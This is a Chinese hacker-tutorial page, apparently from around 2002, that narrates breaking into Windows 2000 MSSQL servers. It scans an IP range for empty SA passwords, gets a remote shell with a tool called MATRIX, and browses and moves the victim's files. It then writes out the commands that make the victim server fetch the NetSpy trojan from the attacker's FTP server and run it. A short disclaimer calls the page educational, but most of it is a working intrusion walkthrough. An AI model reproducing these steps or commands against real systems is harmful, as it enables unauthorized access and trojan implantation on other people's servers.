※黑客攻防指南※===>黑客入门==>黑客手记:SQL攻击实例
黑客手记:SQL攻击实例
  
警告:由于本文中涉及的攻击方法均是近一段时期来黑客常用的攻击方法,对网络巨有很大的威胁性,故希望大家,特别是网管朋友看到后及时的用书中的方法进行漏洞的修补。
声明:本文旨在探讨黑客的攻击思路和方法,培养大家的威胁分析意识,作者绝对不鼓励大家利用书中方法进行攻击试验,并对实验者不负任何的责任。

  在众多的以知漏洞中,MSSQL的漏洞是最可怕的,因为很多的网管不注意,致使一些技术和思路高明的黑客很容易就突破了它们的铁幕防线,这时候任何防火墙都是无力的。一切都在那些黑客的掌握之中……

  在茫茫的网络海洋中,作为一个攻击者,我开始选择我今天的猎物,首先我要寻找的是一个网段,我选择了一个网址,http://www.xxxxx.com 。然后我点击Windows开始菜单里的运行键,在里面我输入:ping www.xxxxx.com 这个命令,这样我可以知道这个网站的IP地址,但是我们并不一定要攻击这个网站,此时我们的猎物目标还没有确定。这只是为我们选择一个网段的,选择捕捉猎物的活动地带。我们看到了这个网站的IP地址202.202.202.57,我们按住鼠标的左键不放,复制下这段IP地址,我们的猎物已经在我们的瞄准之下了,但是它仅仅只是进入了我们的视野之中,能不能真正的俘获猎物还要看我们的枪法和上帝赐予我们的运气如何。

  好了,我们该进行俘获猎物的第一阶段准备,我们首先利用我们的MSSQL的SA空密码程序进行扫描测试,这个程序我们可以在配套的光盘中找到。好的,我们点击开始菜单里的程序选项,选择附加菜单中的命令提示符,当然我要提醒你,这一切都是在Windows2000操作平台下进行的。在命令提示符的状态下,我们找到我们的SIP,然后在里面输入:sip 202.202.202.1 202.202.202.254 然后回车。当然你也可以点右键直接将我们刚才复制的IP地址粘贴在SIP后面,输入完成后我们就可以看到SIP在工作了。

  OK,我们可以看到,我们找到了一个猎物,此时SIP已经在它的目录下面生成了一个名为“result”TXT的文本文件。我们双击打开他,我们这是会看两条这样的信息:

Use SA:NULL connect to 202.99.160.82 MSSQL server success.
Use SA:NULL connect to 202.99.160.38 MSSQL server success.

  这就是我们要找的猎物了,好了,下面双手合拢跟我一起念感谢上帝赐予我们食物吧。OK,既然猎物已经找到,我们该吃我的法国大餐了。首先我们准备好我们的刀叉,MATRIX。这个程序你也可以在光盘中找到

  OK,MATRIX到位了,我们开始吃我们的大餐的第一步工作就要开始了。首先我们在MATRIX的目录下键入C:\matrix 202.99.160.38 sa “”。

  当然,如果你还不理解,也可以在MATRIX后面随便输入点什么,这样他会有一个帮助出现。

  当我们能够看到

net use \\202.99.160.38\ipc$ "" /user:""

  命令成功完成。

Connect to 202.99.160.38 MSSQL server success.Enjoy the shell.

  的时候就表明我们已经的成功地进入了。


  此时,我们在对方的计算机可以看到任何的东西,先看一看它的目录。输入matrix〉dir c:\ 回车看看会出现什么情况

Matrix〉dir c:\


驱动器 C 中的卷是 SCSI-1
卷的序列号是 E486-6CA9
卷的序列号是 E486-6CA9
c:\ 的目录
c:\ 的目录
2000-12-18 16:50    2000-08-02 18:19        108 Exchange Server Setup.log
2001-02-10 20:35    2000-12-21 01:18    2000-12-12 21:13    2001-02-18 06:20         6 matrix.dat
2000-12-07 15:22    2001-02-17 06:34      135,168 mm.exe
2000-08-01 07:09    2000-12-04 06:34    2000-08-07 15:07    2000-08-07 15:55    2000-09-28 22:26    2000-12-04 05:18    2001-01-18 10:50    2000-12-18 15:58    2001-01-18 10:48    2001-02-17 12:13             3 个文件     135,282 字节
         15 个目录 1,634,478,592 可用字节

  哦!天哪,瞧我们看到了什么。呵呵,他的目录,我们还想看什么?D盘?OK,那就看D盘:

Matrix〉dir d:\

驱动器 D 中的卷是 SCSI-2
卷的序列号是 B086-34E9
卷的序列号是 B086-34E9
d:\ 的目录
d:\ 的目录
2000-12-21 01:38    2000-09-29 17:24    2000-12-18 17:49    2000-09-29 17:07    2000-12-21 01:08    2001-02-17 17:19    2000-12-22 10:46    2001-02-14 10:31    2000-10-11 17:48             0 个文件       0 字节
         9 个目录 6,900,269,056 可用字节

  呵呵,又看到了,那么我们下面作什么?看一个子目录怎么样?

  OK,就看D盘的software目录:

Matrix〉dir d:\software

驱动器 D 中的卷是 SCSI-2
卷的序列号是 B086-34E9
卷的序列号是 B086-34E9
d:\software 的目录
d:\software 的目录
2001-02-17 17:19    2001-02-17 17:19    2000-11-05 01:53       50,874 1.zip
2001-01-18 00:01       26,818 12345.jpg
2000-08-13 02:54      438,436 bexp101.zip
2000-11-07 04:06    2001-02-18 05:01      2,318,588 cuteftppro1032b.exe
2000-11-19 22:33      572,070 Dial_Monitor.EXE
2000-11-14 03:31     105,420,190 ess.zip
2000-10-15 02:22      2,947,543 fayuan.exe
2001-01-13 09:39      5,072,896 guzi1.ppt
2000-12-07 15:18      5,482,137 imail602.exe
2000-09-21 22:40      5,242,179 imtm_x86.exe
2000-09-21 22:57       23,575 iv_ipimail50x.zip
2000-11-01 23:24      7,430,756 mdsetup.exe
2001-01-07 20:32       9,220 msg.wav
2000-12-04 06:29      9,656,228 mysql-3.23.25-beta-
2000-10-11 00:32      1,011,680 netants.zip
2000-09-03 20:10      951,719 netants122_gb2312.z
2000-06-19 03:30     20,092,398 pcany92.zip
2000-11-01 23:36      714,525 pluspack.exe
2000-08-13 03:06      978,944 PyjjSetup.exe
2000-10-11 00:40      5,616,796 RemotelyAnywhere3.2
2000-11-07 03:26      5,361,823 RemotelyAnywhere3.2
2000-12-06 05:46    2000-12-13 00:47      1,414,006 ServU3b6.zip
2000-10-11 01:03     88,478,696 sp1network.exe
2000-12-04 03:45     38,082,216 sp6i386.exe
2000-08-13 02:58      8,936,665 SS351F.exe
2000-12-06 02:39      407,919 sswatch.exe
1998-04-29 18:40      907,981 stick40.zip
2000-12-06 01:50      1,504,027 susetup.zip
2000-09-29 17:09    2000-08-13 17:38      5,452,246 virtdnet.zip
2000-04-13 04:35      745,201 webzip360_01.exe
2000-05-05 01:52      1,259,448 winzip80.exe
2000-10-19 07:43      446,499 xiaoyouxia8848.zip
2000-09-29 17:09    2000-09-29 17:09    2000-09-03 20:14      3,241,165 xkx100.exe
2000-11-08 16:29       82,393 xuqiu1.gif
2000-11-08 16:30       81,850 xuqiu2.gif
2000-11-26 04:48       9,429 电视节目预告.zip
      36 个文件  330,469,136 字节
       7 个目录 6,900,269,056 可用字节

  哈哈,千万别告诉他我们看到了他的目录,是不是认为只看目录不过隐?对,作为黑客的我们都这么想。什么?你告诉你不知道如何做,你不知道你都可以用那些命令,是啊,我也正为这个发愁哪。

  对了,我们可以键入HELP看看我们都能够干什么。OK,马上行动:看,能够用的还不少呢,我给你翻译一下:

Matrix〉help
ASSOC Displays or modifies file extension associations
显示或修改文件扩展名的关联类型。
AT Schedules commands and programs to run on a computer.
计划在计算机上运行的命令和程序。
ATTRIB Displays or changes file attributes.
显示或更改文件属性。
BREAK Sets or clears extended CTRL+C checking.
设置或清除扩展的 CTRL+C 检查。
CACLS Displays or modifies access control lists (ACLs) of files.
显示或修改文件访问控制列表
CALL Calls one batch program from another.
从一个批处理程序中调用另一个批处理程序。
CD Displays the name of or changes the current directory.
显示当前目录的名称或更改当前目录。
CHCP Displays or sets the active code page number.
显示或设置当前的代码页编号。
CHDIR Displays the name of or changes the current directory.
显示当前目录的名称或更改当前目录。
CHKDSK Checks a disk and displays a status report.
检查磁盘并显示状态报告。
CHKNTFS Displays or modifies the checking of disk at boot time.
显示和修改磁盘检查导入时间
CLS Clears the screen.
清除屏幕。
CMD Starts a new instance of the Windows 2000 command interpreter.
启动 Windows NT 命令解释程序的新实例。
COLOR Sets the default console foreground and background colors.
设置控制台的默认前景色和背景色。
COMP Compares the contents of two files or sets of files.
比较两个或两组文件的内容。
COMPACT Displays or alters the compression of files on NTFS partitions.
显示或修改NTFS分区上的压缩文件
CONVERT Converts FAT volumes to NTFS. You cannot convert the current drive.
将 FAT 卷转换为 NTFS 卷。不能转换当前驱动器。
COPY Copies one or more files to another location.
将一个或多个文件复制到其他位置。
DATE Displays or sets the date.
显示或设置日期。
DEL Deletes one or more files.
删除一个或多个文件。
DIR Displays a list of files and subdirectories in a directory.
显示某个目录下的文件列表和所有子目录。
DISKCOMP Compares the contents of two floppy disks.
比较两张软盘的内容。
DISKCOPY Copies the contents of one floppy disk to another.
将一张软盘的内容复制到另一张软盘。
DOSKEY Edits command lines, recalls Windows 2000 commands, and creates macros.
编辑命令行,重新调用 Windows NT 命令并创建宏。
ECHO Displays messages, or turns command echoing on or off.
显示消息,打开或者关闭命令回显。
ENDLOCAL Ends localization of environment changes in a batch file.
在批处理文件中结束对本地环境特征的修改。
ERASE Deletes one or more files.
删除一个或多个文件。
EXIT Quits the CMD.EXE program (command interpreter).
退出 CMD.EXE 程序(命令解释程序)。
Matrix〉help
FC Compares two files or sets of files, and displays the differences between them.
比较两个或两组文件,并显示它们之间的差别。
FIND Searches for a text string in a file or files.
在文件中搜索文字串。
FINDSTR Searches for strings in files.
在文件中搜索字符串。
FOR Runs a specified command for each file in a set of files.
在一组文件中对每个文件运行特定的命令。
FORMAT Formats a disk for use with Windows 2000.
格式化用于 Windows 2000(NT) 的磁盘。
FTYPE Displays or modifies file types used in file extension associations.
显示或修改用于文件扩展名关联的文件类型。
GOTO Directs the Windows 2000 command interpreter to a labeled line in a batch program.
让 Windows 2000(NT) 命令解释程序转到批处理程序中带标号的行。
GRAFTABL Enables Windows 2000 to display an extended character set in graphics mode.
允许 Windows 2000(NT) 在图形模式下显示扩展字符集。
HELP Provides Help information for Windows 2000 commands.
提供 Windows 2000(NT) 命令的帮助信息。
IF Performs conditional processing in batch programs.
在批处理程序中执行条件处理。
LABEL Creates, changes, or deletes the volume label of a disk.
创建、改变或删除磁盘卷标
MD Creates a directory.
创建目录。
MKDIR Creates a directory.
创建目录。
MODE Configures a system device.
配置系统设备。
MORE Displays output one screen at a time.
每次显示一屏输出结果。
MOVE Moves one or more files from one directory to another directory.
将一个或多个文件从一个目录移动到同一驱动器的另一目录。
PATH Displays or sets a search path for executable files.
显示或设置可执行文件的搜索路径。
PAUSE Suspends processing of a batch file and displays a message.
暂停执行批处理文件,并显示一条消息。
POPD Restores the previous value of the current directory saved by PUSHD.
还原由 PUSHD 保存的当前目录的前一个值。
PRINT Prints a text file.
打印文本文件。
PROMPT Changes the Windows 2000 command prompt.
更改 Windows 2000(NT) 命令提示符。
PUSHD Saves the current directory then changes it.
保存当前目录,然后更改。
RD Removes a directory.
删除目录。
RECOVER Recovers readable information from a bad or defective disk.
从已损坏的或有问题的磁盘从恢复可读信息。
REM Records comments (remarks) in batch files or CONFIG.SYS.
在批处理文件或 Config.sys 中加注释。
REN Renames a file or files.
重命名文件。
RENAME Renames a file or files.
重命名文件。
REPLACE Replaces files.
替换文件。
Matrix〉help
RMDIR Removes a directory.
删除目录。
SET Displays, sets, or removes Windows 2000 environment variables.
显示、设置或删除 Windows NT 环境变量。
SETLOCAL Begins localization of environment changes in a batch file.
在批处理文件中开始对本地环境特征进行修改。
SHIFT Shifts the position of replaceable parameters in batch files.
在批处理文件中改变可替换参数的位置。
SORT Sorts input.
对输入的数据进行排序。
START Starts a separate window to run a specified program or command.
启动另一窗口运行指定的程序或命令。
SUBST Associates a path with a drive letter.
将驱动器名与路径关联。
TIME Displays or sets the system time.
显示或设置系统时间。
TITLE Sets the window title for a CMD.EXE session.
设置用于 CMD.EXE 会话的窗口标题。
TREE Graphically displays the directory structure of a drive or path.
显示驱动器或路径的图形化目录结构。
TYPE Displays the contents of a text file.
显示文本文件的内容。
VER Displays the Windows 2000 version.
显示 Windows 2000(NT) 的版本信息。
VERIFY Tells Windows 2000 whether to verify that your files are written correctly to a disk.
通知 Windows 2000(NT) 是否验证文件已正确写入磁盘。
VOL Displays a disk volume label and serial number.
显示磁盘的卷标和序列号。
XCOPY Copies files and directory trees.
复制文件和目录树。
  再给你们举一个例子

   比如移动一个文件,把他的C盘中的

2001-02-18 06:20       6 matrix.dat

  这个文件移动到他D盘的software目录怎么样?OK,看来是一个好主意,我们马上开始,首先我们在Matrix〉后面输入

Matrix〉move c:\matrix.dat d:\software\matrix.dat

  然后回车,OK,看看C盘和D盘,是不是移动了

Matrix〉dir c:\

驱动器 C 中的卷是 SCSI-1
卷的序列号是 E486-6CA9
卷的序列号是 E486-6CA9
c:\ 的目录
c:\ 的目录
2000-12-18 16:50    2000-08-02 18:19        108 Exchange Server Setup.log
2001-02-10 20:35    2000-12-21 01:18    2000-12-12 21:13    2000-12-07 15:22    2001-02-17 06:34      135,168 mm.exe
2000-08-01 07:09    2000-12-04 06:34    2000-08-07 15:07    2000-08-07 15:55    2000-09-28 22:26    2000-12-04 05:18    2001-01-18 10:50    2000-12-18 15:58    2001-01-18 10:48    2001-02-17 12:13           2 个文件    135,276 字节
      15 个目录 1,634,454,016 可用字节

  呵呵,没有了。D盘的software目录也看看:

Matrix〉dir d:\software

驱动器 D 中的卷是 SCSI-2
卷的序列号是 B086-34E9
卷的序列号是 B086-34E9
d:\software 的目录
d:\software 的目录
2001-02-18 06:32    2001-02-18 06:32    2000-11-05 01:53       50,874 1.zip
2001-01-18 00:01       26,818 12345.jpg
2000-08-13 02:54      438,436 bexp101.zip
2000-11-07 04:06    2001-02-18 06:19      2,318,588 cuteftppro1032b.exe.!!!
2000-11-19 22:33      572,070 Dial_Monitor.EXE
2000-11-14 03:31     105,420,190 ess.zip
2000-10-15 02:22      2,947,543 fayuan.exe
2001-01-13 09:39      5,072,896 guzi1.ppt
2000-12-07 15:18      5,482,137 imail602.exe
2000-09-21 22:40      5,242,179 imtm_x86.exe
2000-09-21 22:57       23,575 iv_ipimail50x.zip
2001-02-18 06:20         6 matrix.dat

  果然在里面,我们成功了。
 
  什么你感觉还不过隐?不会吧,这么夸张!不过告诉你我也感觉不过瘾。那么下面我们就进行一个过瘾的,给他安装一个木马,哈哈哈哈哈哈哈哈哈……

  OK,我们应该怎么办哪?

  首先我们找一个FTP服务器,当然我们要有上传文件的权限,比如申请个人主页就是好主意。然后上传我们得意的木马,对付NT服务器我首选NETSPY!因为像冰河那有的木马当系统为NT或者硬盘格式为NTSF的时候他就无能为力了。所以我们首选NETSPY,虽然它的功能没有冰河多,不过稳定压倒一切。

echo open ip 〉c:\tmp.txt ip是你的FTP服务器的地址

echo username 〉〉c:\tmp.txt  你的FTP用户名

echo passwd 〉〉c:\tmp.txt  你的FTP密码

echo lcd c:\ 〉〉c:\tmp.txt  切换猎物服务器当前目录到C盘

echo bin 〉〉c:\tmp.txt  将文件传输模式切换模式为bin

echo get NetSpy.exe 〉〉c:\tmp.txt  下载木马到c:\NetSpy.exe 什么竟然不换名字,太明显了吧!!!

echo bye 〉〉c:\tmp.txt  断开与目标FTP的连接

  这段命令的思路就是让我们的猎物服务器到你的目标FTP服务器下载我们的木马。让我们等一下,然后再看看目录。OK,传过去了。

  检查一下有没有错误,输入

Matrix〉type c:\tmp.txt

  OK,看来是没有什么问题。

  然后下面我们就可以输入

Matrix〉ftp -s:c:\tmp.txt

  耐心等一下,OK,搞定。

  然后我们在输入

Matrix〉c:\netspy.exe

  搞定!先生们,女士们,黑客们,享受我们的美味吧!

  我们现在就可以用客户端进行连接了。当然希望你不要搞破坏啊。

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve